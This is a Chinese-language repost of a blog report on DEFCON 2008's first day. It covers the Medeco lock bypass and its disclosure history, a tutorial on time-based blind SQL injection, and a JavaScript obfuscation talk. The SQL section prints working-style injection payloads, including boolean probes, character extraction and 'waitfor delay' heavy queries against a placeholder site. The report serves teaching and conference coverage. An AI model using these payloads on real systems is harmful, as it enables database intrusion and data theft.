(轉貼)美國駭客年會 DEFCON 2008 觀察--第一天



贊助商連結


deephoe
2008-09-05, 07:31 PM
轉貼自:http://armorize-cht.blogspot.com/2008/08/defcon-2008.html

豪不必馳千騎,雄不在垂雙鞬,天生俊氣自相逐,出與鵰鶚同飛翻 --李益

(此文續「美國駭客年會 Black Hat 2008 觀察--第二天 (http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html)」...)

0. 可以 program 的 DEFCON 吊牌
1. Schuyler Towne & Jon King: 美國最安全鎖頭 Medeco 的破解與完整揭露
2. Chema Alonso: 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表
3. Kolisar: 空白字元:JavaScript 變形的新方法
4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路
5. Wendel Guglielmetti Henrique:打穿 WAF
6. 黑白帽相見歡(Meet the Feds)
7. NIST:量子加密(Quantum Cryptography)
8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)

(抱歉讓大家久等了,我發現每天要到晚上一點多才有空 blog。)

昨天晚上沒有先來DEFCON (https://www.defcon.org/)報到,今天早上報到隊伍排得好長。排我前面跟後面的兩個人都在跑 metasploit (http://www.metasploit.com/)跟 nmap (http://nmap.org/) ;前面一個人是用 iphone 裝了 cydia (http://www.saurik.com/id/1)(要裝的看這 (http://selil.com/media/chavez-hacking-Iphone.pdf))在跑,後面一個是拿他那低於兩百美金買的寶貝 XO Laptop (http://en.wikipedia.org/wiki/OLPC_XO-1) 裝了 Ubuntu (http://www.ubuntu.com/)(要裝的看這 (http://www.olpcnews.com/software/operating_system/how_to_ubuntu_on_xo_laptop.html))在跑。穿著 tshirt 牛仔褲,沒有整理的頭髮,躲在厚重眼鏡後面因熬夜而快睜不開的眼睛...比起那些西裝筆挺,鞋子發亮,頭髮整齊,幽默風趣又能言善道的業務,這裡很多人看起來可能並不是型男,但是在數位世界中,他們是絕對的高手。

0. 可以 program 的 DEFCON 吊牌
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2633_filtered_WBed_cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2633_filtered_WBed_cropped_730.jpg)

DEFCON (https://www.defcon.org/) 這幾年的 pass 都做得很酷,今年的 pass,上面有一個 SD 讀卡機,還有 USB 接頭和一堆可以客製化的功能--可以無線傳輸,發出紅外線訊號充當電視遙控器,或相互通訊等。我一報到完一樣,雖然付費參加,還是跟 nico 和 dirk 知會過,拿了另一個媒體的牌,並簽了拍照的合約。DEFCON (https://www.defcon.org/) 跟 Black Hat (http://www.blackhat.com/) 比起來,對於拍照更是敏感,所以我一直都很小心,也跟他們一直保持互動。底下綠色的是媒體 pass,白色的是一般的 pass。

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3294_filtered_cropped_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3294_filtered_cropped_730.jpg)

看看其他人加工過的牌子吧!照片是這裡來的 (https://pics.defcon.org/showgallery.php?cat=533)。
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/badges.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/badges.jpg)

這個牌子可以讓你自己焊接一個 USB 接頭上去,就可以開始設計他了。所有需要用的軟體工具與 SDK,在 DEFCON 的 CD片中都有附。贏得比賽的人,可以拿到一個黑色的牌子,就獲得終身免費參加 DEFCON 的資格囉!設計這個牌子的是外號「Kinping」的 Joe Grand (http://www.grandideastudio.com/),以下是他介紹整個設計的訪問影片:

http://tw.youtube.com/watch?v=n5pSY1Md89k&eurl=http://armorize-cht.blogspot.com/2008/08/defcon-2008.html

1. 美國最安全鎖頭 Medeco 的破解與完整揭露 (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Towne)(投影片 (https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-towne-king.pdf))

進去後先吃早餐,排隊排到都餓了。我坐下來,發現旁邊是一位很年輕的美國人,看來很想睡覺,眼睛幾乎睜不開了,但是手卻很忙,仔細一看,他正在開鎖,工具就擺在桌上。邊吃邊聊了起來,原來他就是 Jon King,正在開美國能做出來最安全的鎖:Medeco (http://www.medeco.com/)的最頂級六針型鎖頭。Medeco (http://www.medeco.com/)目前有超過四百名員工,在美國高階鎖市場市佔率達七成以上,凡舉各銀行,機密單位,軍方等,一律都採用Medeco (http://www.medeco.com/)的鎖,所以一般美國鎖匠,也把 Medeco (http://www.medeco.com/)看成是「終極神鎖」。

Jon 說他兩天沒睡了,眼睛睜不開,但是還是很熱心的一直跟我說,他是如何破解這顆鎖的。雖然我不懂鎖,但是聽起來真是有趣,找漏洞需要有一種特殊的「心理狀態」,而這種狀態,看來似乎實體安全跟資訊安全所需要的其實差不多。另外我更有興趣的是,他從驗證弱點到與廠商互動到公開攻擊方法的整個過程,也就是所謂的負責的弱點揭露(responsible vulnerability disclosure)的程序 (http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/index.html)。這個議題雖然目前在資安圈,尤其是各大駭客年會上,正是個火熱的話題,但是在鎖匠的社群裡,這個議題已經有很長的歷史了(鎖跟電腦的發明差了多久?),可能也因為如此,似乎處理的方式也比較成熟。

Jon 與 Medeco (http://www.medeco.com/)的故事,要從去年的 DEFCON 15 (2007) (https://www.defcon.org/html/defcon-15/dc-15-speakers.html)說起...

去年,Schuyler Towne (https://www.defcon.org/html/defcon-15/dc-15-speakers.html#Towne) 第一次來到 DEFCON (http://www.defcon.org/),向駭客們介紹了 locksport (http://www.locksport.com/)。Locksport 是一個新興的文化,把研究鎖的設計與弱點當成興趣。這種社群最成熟的是在荷蘭的 TOOOL (http://www.toool.nl/index-eng.php),每年都舉辦開鎖大賽 Dutch Open(這裡有 wired (http://www.wired.com/)對 2004 年大賽的報導 (http://www.toool.nl/wired.pdf)),並努力希望奧運能加入開鎖比賽的項目。

Schuyler Towne (https://www.defcon.org/html/defcon-15/dc-15-speakers.html#Towne) 並在大會中發表了他創辦的「非破壞性進入(Non Destructive Entry) (http://www.ndemag.com/)」雜誌。他當時演講的錄影在這裡 (http://video.google.com/videoplay?docid=-4849510167974330234),投影片在這裡 (http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-towne.pdf)。

在另外一頭,Medeco (http://www.medeco.com/)的首席工程師 Peter Field 首次於荷蘭 TOOOL (http://www.toool.nl/index-eng.php) 舉辦的開鎖年賽 Dutch Open 上演講。Peter 自 1960 年開始做鎖匠,於1978年被 Medeco 聘用,目前他已經擁有了超過 15 篇的美國專利 (http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&Sect2=HITOFF&p=1&u=%2Fnetahtml%2FPTO%2Fsearch-bool.html&r=1&f=G&l=50&d=PALL&RefSrch=yes&Query=PN%2F5570601)。Peter 在開鎖大賽中長達四小時的馬拉松式演講 (http://www.toool.nl/blackbag/?p=144)充分表達了他對此社群的支持,也讓研究開鎖的社群與設計鎖的公司有了更好的互動。

而又在另外一頭,Jon King 今年 22 歲,在跟著美國海軍跑船之餘,利用空閒時間研究鎖的結構與開鎖的技巧,當然也研究美國最難開的 Medeco (http://www.medeco.com/)鎖。2007 年九月時,其實 Jon 已經成功的開啟他他手上的 Medeco,但是他繼續研究,這是偶發事件,還是可以做出工具,讓攻擊可以簡單並系統化的重複?如果可以,那麼無敵的 Medeco 就算是真的配破解了。

Peter 演講後一個月,Jon 做出了 Medecoder 開鎖工具,可以重複地開 Medeco。今年二月,Jon 找上了 Schuyler Towne (https://www.defcon.org/html/defcon-15/dc-15-speakers.html#Towne)。他讀過 Schuyler 創辦的NDE (http://www.ndemag.com/) 雜誌,他知道 Schuyler 可以幫他解決目前的一大難題:如何公開這個會讓美國所有最機密單位與銀行瞬間陷入危險的研究:Medeco 破解法與 Medecoder?

弱點揭露(vulnerability disclosure) (http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/index.html)中,雙方永遠是不對等的(就像最近 Google 與 RSnake 事件 (http://armorize-cht.blogspot.com/2008/08/black-hat-2008.html#RSNAKE))。Medeco 是四百人的公司,背後還有美國政府。Jon 是一個 22 歲的小伙子。如果 Jon 與 Medeco 簽了保密合約(NDA),那麼 Jon 沒有 Medeco 允許,不能公開他找到的弱點。可是這種弱點可能讓一個製鎖公司瞬間瀕臨倒閉(記得 2004 年 Kryptonite 事件嗎? (http://www.nytimes.com/2004/09/17/nyregion/17lock.html?ei=5090&en=52de64f51b991525&ex=1253160000&partner=rssuserland&pagewanted=all&position=)),Medeco 會讓 Jon 出去講嗎?可是如果不講,Medeco 可能根本不改善弱點,或者出新版後也不承認舊版有弱點(鎖不能 binary diff patch 吧 (http://www.schneier.com/blog/archives/2008/04/reverseengineer.html)?)如果 Jon 不簽 NDA 而直接完整揭露(full discloser),Medeco 可以稱此為不負責任揭露,發動輿論攻擊或甚至提告 Jon。故事會如何發展呢?

今年四月,Peter 帶著各種工具、零件與攝影機,來到了 Jon 住的公寓。五月,Medeco 已經設計出新一代產品:ARX 並可以生產,對於已經賣出的產品也有了修改套件。七月,Jon 首次於 The Last Hope (http://www.thelasthope.org/talks.html) 資安會議上展現此弱點與攻擊技巧:

http://tw.youtube.com/watch?v=j77WM-uL4qc&eurl=http://armorize-cht.blogspot.com/2008/08/defcon-2008.html

七月底,Jon 寫的關於 Medeco 的完全揭露(full disclosure)公布於 NDE (http://www.ndemag.com/) 雜誌第四期 (http://www.ndemag.com/issues/nde4.pdf),裡頭註明了,此篇應 NDE 要求,延遲兩個月公布,目前兩個月時間已過,Medeco 也出了新產品 ARX,Jon 的攻擊對於新產品已失效,對於已經在市面上的眾多舊產品,Medeco 已經出了修補的套件。今天在 DEFCON (http://www.defcon.org/),Schuyler 與 Jon 首次同台,共同講述了整個從發現弱點、設計攻擊工具、通知廠商到完整揭露的整個過程。整個演講有一半在探討負責的弱點揭露(responsible vulnerability disclosure)程序 (http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/index.html),內容大致與 NDE 第四期 (http://www.ndemag.com/issues/nde4.pdf)的第一篇文章相同,有興趣的朋友可以讀一讀。

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2791_cropped_WBed_730_1.JPG (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2791_cropped_WBed_730_1.JPG)

演講中最精彩的,莫過於 Jon 當場拿他設計的工具示範開鎖。第一次很快地,他手一揚,結果又收回來,因為原本以為開了,但是手一抖就沒開成。這時 Jon 說:「各位,我希望我在 DEFCON 能開成,但是我兩天沒睡了,不能保證...」這時很多觀眾幫他出聲打氣:「You can do it Jon!」。一瞬間,從攝影機看到鎖頭動了,轉到開的位置,Jon 立刻把鎖頭高舉,大家興奮得一直鼓掌...

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/jon_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/jon_730.jpg)

2. 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool) (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso)(投影片 (https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-alonso-parada.pdf))(whitepaper (https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf))(程式下載 (https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/alonso-parada-extras.zip))(whitepaper (https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf))(extras (https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/alonso-parada-extras.zip))(Marathon (http://www.codeplex.com/marathontool)工具下載)

Okay,我又得承認,這中間我又開溜了,我跑去聽跟我們做得很相關的滲透測試手法:「時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool) (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso) 」。

以下是講師之一的 Chema Alonso(大會 (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso)、blog (http://elladodelmal.blogspot.com/)):

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2745_filtered_wbed_730.jpg (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_2745_filtered_wbed_730.jpg)

這個手法的精神主要是,在 blind SQL injection (http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_Injection)時,如果不同 SQL injection 指令的結果,無法由 HTTP Response 本身得知,那麼可以用時間差的方式判斷。可以設計一個很耗時的 SQL 指令,這時如果 SQL injection 成功,那麼這個 SQL injection 指令的執行結果,會影響到 Web server 回復 HTTP response 的速度,這個就可以用來判斷 SQL injection 指令執行的結果。

Chema 在台上 demo 時一下子秀出他吸大麻的照片,一下拿出照相機拍台下的聽眾,一下子不斷用西班牙話數著:「一、二、三、四、五,注入成功!」活像個超級黑客。他目前在馬德里的 Rey Juan Carlos University (http://www.urjc.es/version_chino/) 大學攻讀博士學位,由 Dr. Antonio Guzman 與 Dr. Marta Beltran 共同指導。這個演講其實就是根據他寫的博士論文。

由於兩位西班牙來的講師,Jose Parada 在微軟工作,Chema 也曾獲微軟的 最有價值專家(MS MVP (http://mvp.support.microsoft.com/),此演講早在去年底就在微軟官方的 TechNet 上公布過了 (http://technet.microsoft.com/en-us/library/cc512676.aspx)。

Chema 有一個在西班牙很受歡迎的 blog (http://elladodelmal.blogspot.com/),如果有興趣的朋友可以讀一讀,如果你懂西班牙文的話。不懂西班牙文,用機器翻譯一下,也會發現很多好東西。例如 Chema 寫了三篇(一 (http://elladodelmal.blogspot.com/2008/08/defcon16-i-de-iii.html)、二 (http://elladodelmal.blogspot.com/2008/08/defcon16-ii-de-iii.html)、三 (http://elladodelmal.blogspot.com/2008/08/defcon16-iii-de-iii.html))他的 DEFCON 心得,如果挖一下,你會發現他把他照台下的照片貼出來了 (http://4.bp.blogspot.com/_Y2uWeGSk9Sw/SKAjSEPdjSI/AAAAAAAACgY/e_64uhK7dUc/s1600-h/dos.png)。由於 DEFCON 很多人 裝備 打扮 身份 都必較特殊,不喜歡被拍照,一般規定是不可拍群眾的,所以外面很少照片流傳,沒有實際去過的人,也比較不容易想像會場樣子。他什麼時候會拿掉不知道,有興趣的可以看一下 ;-)

另外他也在 blog 上公布了他的投影片 (http://164.106.251.250/docs/dc2008/defcon-16-alonso-parada.pdf)...其實他公布了所有人的投影片 (http://164.106.251.250/docs/dc2008/)...其實他連 Black Hat 所有投影片也公布了... (http://164.106.251.250/docs/bh2008/)

還有很多好玩的啦,自己挖吧!我怎麼看得懂呢?我背後做一個西班牙來的同事 Roman 啊!

這個演講他們也有公布 white paper,在這裡 (http://mirror.sweon.net/defcon16/Speakers/Alonso-Parada/defcon-16-alonso-parada-wp.pdf),裡頭你會發現作者還包括另外四位:Daniel、Rodolfo、Antonio 跟 Marta。想看 video 嗎?如果你聽西班牙話的話,這裡有 Daniel 的演講 (http://video.google.com/videoplay?docid=-5424434168214025056),大同小異。

我就用他們的 paper,簡單帶各位走一遍好了!

先談 blind SQL injection (http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_Injection)。假設我是攻擊者,那 Blind SQL injection 講白話些,一般是指在目標網站的資料庫沒有吐錯誤訊息的情況下,進行 SQL injection 的方法。在 SQL injection 中,攻擊者需要知道兩項重要資訊:

1. SQL injection 是否成功?定義:是否能有效影響目標伺服器所執行的 SQL 指令?
2. SQL injection 所注入之指令所執行的結果?

第一點很容易明白,攻擊者要進行 SQL injection,第一步就是必須能有效地從外部影響到目標 web application 所執行的 SQL 指令。如果目標網站有開啟 資料庫 error 訊息,那麼這點可以由 error 訊息來得知。如果沒有開錯誤訊息,則可以由其他方式,例如觀察在成功與失敗的狀況下,回傳網頁的不同而得知。

第二點則十分重要,因為當攻擊者能夠成功地注入指令時,接下來必須能夠得知,注入的指令在執行後的結果;尤其像一些利用 "if" 指令的比對方法,攻擊者必須能掌握指令之結果。我舉個例子。

假設有一個購物網站,其中有一頁,能讓使用者用產品號碼查詢產品。我們知道某產品號碼為 1234,則我們查詢時的 URL 如下:

http://www.victim.com/search.asp?q=1234

會列出產品序號 1234 的相關資料。如果序號查不到,回應的頁面就會寫「查無此產品!」

假設後端 SQL 指令如下,並且沒有處理變數「q」(q 是不乾淨的 tainted):



objConn.Execute("select * from product_table where serial= + Request.QueryString("q"));


攻擊者可以先測試此 URL:

http://www.victim.com/search.asp?q=1234 AND 1=0

發現回傳:「查無此產品!」

於是攻擊者再試第二個 URL:

http://www.victim.com/search.asp?q=1234 AND 1=1

發現回傳產品 1234 的簡介。於是攻擊者做出以下結論:

A. 此頁有 SQL injection 漏洞,攻擊者可以影響 SQL 指令並有效執行成功。
B. 執行的結果,可以由回傳的頁面不同來判定。

對於 (B),我們把第一個頁面(AND 1=0)稱做負頁面(false page),而把第二個頁面(AND 1=1)稱做正頁面(true page)。這邊目的 是要判斷 SQL condition 的 evaluation 是 true 或 false。http://www.blackhat.com/html/bh-usa-08/bh-usa-08-speakers.html#Stracener

舉例來說,攻擊者於是可以設計以下 URL:

http://www.victim.com/search.asp?q=1234 AND (100]ASCII(Substring((select system_user),1,1)))

如果結果回傳負頁面,告訴我們此資料庫 system_user 名稱的第一個字元的 ASCII 碼小於或等於 100;如果回傳正頁面,則告訴我們第一個字元大於 100。自動化的攻擊工具可以在經過一串測試後,很快地把資料庫目前 system_user 名稱算出來。

感謝講師 Chema Alonso(大會 (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso)、blog (http://elladodelmal.blogspot.com/))同意我們轉載他投影片 (http://164.106.251.250/docs/dc2008/defcon-16-alonso-parada.pdf)上的任何內容,所以下面我們來看他投影片裡頭用的真實範例(內容完全根據投影片):

第一張我們可以看到,這是我們沒有對 URL 做任何改變時的畫面:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-3-mask.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-3-mask.png)

第二張我們把 URL 中加入「and 1=1」,結果回來的頁面是一樣的。這個就是我們的正頁面:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-1-mask.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-1-mask.png)

第三張我們把 URL 中加入「and 1=2」,結果回來的頁面不一樣。這個就是我們的負頁面:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-2-mask.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/boca-2-mask.png)

這種比對的手法,可以把很多資訊解出來,包含資料庫名稱,table 名稱等等。

好了,所以對於 (1)「是否注入成功」與 (2)「SQL 指令執行結果」,在有錯誤訊息或回傳網頁會因結果而有變化的情況下,攻擊者可以很容易地做出判斷。但是如果這些訊息都沒有,就需要依靠 Blind SQL injection 技巧了。

Blind SQL injection 包含很多方法,從 2000 年大家陸續研究並提出許多 paper。對於初學者來說,整理得比較好的,我覺得是 SQLbfTools (http://www.reversing.org/node/view/11)這個 blind SQL injection 工具於於 Black Hat 2004 (http://www.0x90.org/releases/AutomatingBlindSQL-BH2004.zip)以及 DEFCON 2004 (http://www.0x90.org/releases/AutomatingBlindSQL-DC12.zip)發表時的投影片。當時這篇發表的價值,是整理出可以判斷 true page / false page 的方法,包含 MD5、HTML tree 的分析、ASCII加總的線性表示等。其中利用 signature 比對的方式,跟我 WWW 2003 (http://www.openwaves.net/download/wayne/WWW2003_WAVES.pdf)那篇提出的 NRE:R1=R2≠R3 的概念是一樣的。

而其實時間差用於 blind SQL injection 的概念,在當初 2002 年 NGS Software (http://www.ngssoftware.com/) 的 Chris Anley 的 (more) Advanced SQL Injection (http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf)那篇就已經有提到了,以下幾個是他當時給的例子:

最簡單的來說,以下的 SQL injection 指令會讓我們在沒有知道目前資料庫的帳號是不是 "sa" (Microsoft SQL Server適用):



if (select system_user)=sa' waitfor delay '0:0:5'

接下來,看看這個 SQL injection:



declare @s varchar(8000) select @s=db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 0))) > 0 waitfor delay '0:0:5'

根據時間差,我們可以得知目前資料庫名稱字串的第一個 bit 是否是 1。這個 SQL injection:


declare @s varchar(8000) select @s=db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 1))) > 0 waitfor delay '0:0:5'


可以知道第二個 bit...連續做八次,第一個字母就出來了。假設資料庫名稱有二十個英文字母,也才需要做 80 次,況且現在很多工具都可以幫忙自動化這個過程。常用的自動 SQL injection 工具中,支援 blind SQL injection 的有 SQLbfTools(下載 (http://www.reversing.org/node/view/11),Black Hat 2004 投影片 (http://www.0x90.org/releases/AutomatingBlindSQL-BH2004.zip),DEFCON 2004 投影片 (http://www.0x90.org/releases/AutomatingBlindSQL-DC12.zip))、Absinthe (http://www.0x90.org/releases/absinthe/)、sqlninja (http://sqlninja.sourceforge.net/) 以及我好朋友寫的 SQL Power Injector (http://www.sqlpowerinjector.com/) 等:

SQLbfTools (http://www.reversing.org/node/view/11)畫面(從 Chema (http://elladodelmal.blogspot.com/)投影片擷取):

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/mysqlbf.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/mysqlbf.png)

Absinthe (http://www.0x90.org/releases/absinthe/) 畫面(從 Chema (http://elladodelmal.blogspot.com/)投影片擷取):

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/absinthe1.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/absinthe1.png)

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/absinthe2.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/absinthe2.png)

sqlninja (http://sqlninja.sourceforge.net/)畫面(從 Chema (http://elladodelmal.blogspot.com/)投影片擷取):

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/sqlninja.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/sqlninja.png)

SQL Power Injector: (http://www.sqlpowerinjector.com/)
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/SPInjBlindMode.JPG (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/SPInjBlindMode.JPG)

事實上,比起人工的滲透測試,時間差判斷法對於自動工具來說更為重要。因為譬如正負頁面差異的方法,對人來說很好判斷,對自動的程式就比較不容易,因為網頁是很多動態的元件拼起來的,要識別一頁上什麼本來就一直變,要判斷什麼是因為 SQL 指令執行結果不同而變的,有時並不容易。事實上 2002 年我寫完 WWW 2003 (http://www.openwaves.net/download/wayne/WWW2003_WAVES.pdf)那篇論文投稿後,就對這個題目很有興趣(類似 SQLbfTools (http://www.0x90.org/releases/AutomatingBlindSQL-BH2004.zip)的研究),但是由於後來忙於白箱源碼檢測的研究,黑箱就沒有繼續。記憶中 WWW 2004 會議上時就有一篇是做這個的(但是不是給滲透測試用),但是是在 spacial domain 做。其實我覺得這樣的問題可以像大部分 Information Retrieval (http://en.wikipedia.org/wiki/Information_retrieval) 模型一樣,拿到 frequency domain 來解。

講遠了,回正題,時間差識別法,對於自動化工具特別重要,因為這個方法容易自動化,不易因為自動化而造成誤判。

既然已經有了這麼多的工具,那麼 Chema 這篇的貢獻在哪裡呢?在於:

1. 他把適合各種平台用的時間差方法(在沒有 wait functions 的情況下)做了很好的整理,並擴充至不支援 T-SQL-like 語法的資料庫。他提的方法是可以通用於各種不同資料庫的,不受資料庫差異影響。
2. 他發表了開放源碼的工具 Marathon Tool (http://www.codeplex.com/marathontool)。

對於他整裡的時間差方法,因為時間有限,我簡單用他的第一個例子(MS SQL Server heavy query)敘述如下:



SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)]0 and 300](select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)


其實我們可以把這個指令簡化來看成兩個 evaluation 被 and 起來:

A and B

其中
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)]0

B=300](select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

這樣看就很清楚,A 是一個 heavy query,沒什麼特別,就是一個會讓 SQL server 做很久的 SQL 指令。

B 則是我們實際上要判斷的:sys.sysusers 的第一個字元 ASCII 碼大於或小於等於 300。

然後,這整個指令會先測 B,如果 B 成立才會測 A,而測 A 需要很久(幾秒)的時間。所以也就是說,如果 B 成立,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。其實講到這邊就講完了...但是,為何 B 會先被 evaluate,然後再 A,造成一個類似 if...then 的狀況?因為這種方式在 SQL injection 技巧中用的蠻多的,我們就來探討一下 :)

這是因為 SQL 語法有 short-circuit evaluation (http://en.wikipedia.org/wiki/Short-circuit_evaluation)。某些語言,例如 C,有硬性規定 short-circuit evaluation 的運算元(operator)與先後順序(preference)。

例如以下這段 C 程式碼:



int denom=0;
if (denom && nom/denom) {
oops_i_just_divided_by_zero(); // never happens
}


以上這段永遠不會 division by zero,因為 ANSI C 有硬性規定 "&&" 這個運算元有 short-circuit,而且順序是由左到右。所以因為 denom 是零,所以 nom/denom 永遠不會被 evaluate 到。

那麼這邊問題是:

1. C 有硬性規定,MS SQL 語法有嗎?
2. 如果有,那麼先後順序呢?

答案是,(1) 沒有,但是目前的實做是有,(2) 不一定!為了效率,MS SQL Server 確定會 short-circuit,但是順序為何?左到右?右到左?至今仍是個謎! (http://weblogs.sqlteam.com/jeffs/archive/2008/02/22/sql-server-short-circuit.aspx)

要探討這個迷,第一要注意的是,我們這邊運用的是 SQL 語法中的 short-circuit,而 SQL 語言非 procedural 語言。procedural 語言,例如 C,&& 或 || 都有定義 short-circuit,但是 SQL 語言中的 select...where clause,如果用的是「OR」這個運算元,那麼不用懷疑,沒有所謂 short circuit,因為在這種 context 下,被 OR 起來的所有 condition 都需要被 evaluate!所以網路上很多討論 (http://weblogs.sqlteam.com/jeffs/archive/2008/02/22/sql-server-short-circuit.aspx)都是錯誤的。

至於 MS SQL "AND" 的 short-circuiting,當真是個謎,這裡試出來是左到右 (http://www.sqlmag.com/Articles/ArticleID/9148/pg/2/2.html),這裡卻是右到左 (http://www.mydatabasesupport.com/forums/sqlserver-server/201467-urgent-why-sql-server-evaluating-all-expressions.html)。我沒有太多時間研究,但是我的猜測是,第一,MS SQL 不是 procedural language,所以不會硬性規定順序。第二,MS SQL Server 會根據如何做可以達到最佳效能,來決定所有被 AND 起來的 condition,誰先執行而誰後執行。基本原則是,快的先執行,這樣做 short circuit 才有意義。這是我個人看法,這裡有沒有熟 MS SQL 的看官?

無論如何,Chema 提的例子當中:A and B,其中:
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)]0

B=300](select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

因為執行順序為先 B 後 A(為什麼?我覺得因為 MS SQL Server 判斷 B 比較快 evaluate),所以如果 B 是 true,那麼就會執行 A。也就是說,如果 sysusers 的第一個字母的 ASCII 值大於 300 的話,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。

好玩吧!事實上,我覺得即使把 A / B 對調,變成:B and A,結果還是 B 會先被 evaluate。但是沒有試過就是了... :)

最後,Chema 也將他這次的研究,實做成了工具:Marathon (http://www.codeplex.com/marathontool)並在會上發表。跑起來長這樣,注意,重點是支援的資料庫比其他工具多:

http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/marathon_tool.png (http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/marathon_tool.png)

3. 空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation) (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Kolisar)(投影片 (https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-kolisar.pdf))(程式下載 (https://www.defcon.org/images/defcon-16/dc16-presentations/kolisar/kolisar-extras.zip))(線上 demo (http://malwareguru.com/kolisar/WhiteSpaceEncode.html))

接下來我來到了整個 DEFCON 我最喜歡的演講之一:「空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation) (http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Kolisar)」。先不講演講內容,演講者叫「Kolisar」,當然是一個假的名字。演講後我跟他花了很多時間探討,才了解到,他在一家很有名的大公司上班,不是資安公司,但是負責公司的網管與資安。也就是說,對我們阿碼科技這種「廠商」來說,他是「用戶(user)」。用戶上來給演講?沒錯!因為過去一年半,網站掛馬 javascript 變形手法太強,沒有一家能夠有效識別惡意的 javascript(當然那時他不認識阿碼科技),他只好自己拿 spidermonkey 來做,經過一整年與變形後的惡意 javascript 搏鬥後,看得多了,自己也有了心得,於是根據他看到的以及他研究的,他終於說服了老闆來 DEFCON 給演講。什麼?要在駭客年會給演講?傳統的大企業當然有顧忌,所以最後雖然準他來,但是不能用真名,也不能提公司的名字...哈!

但是這就跟我一直提的,在台灣也是一樣,user 都快比很多廠商強了,被訓練出來的!尤其台灣很多經銷代理商,一心只想塞產品給客戶...客戶都只好自求多福,幾年下來功力已經超過廠商了。

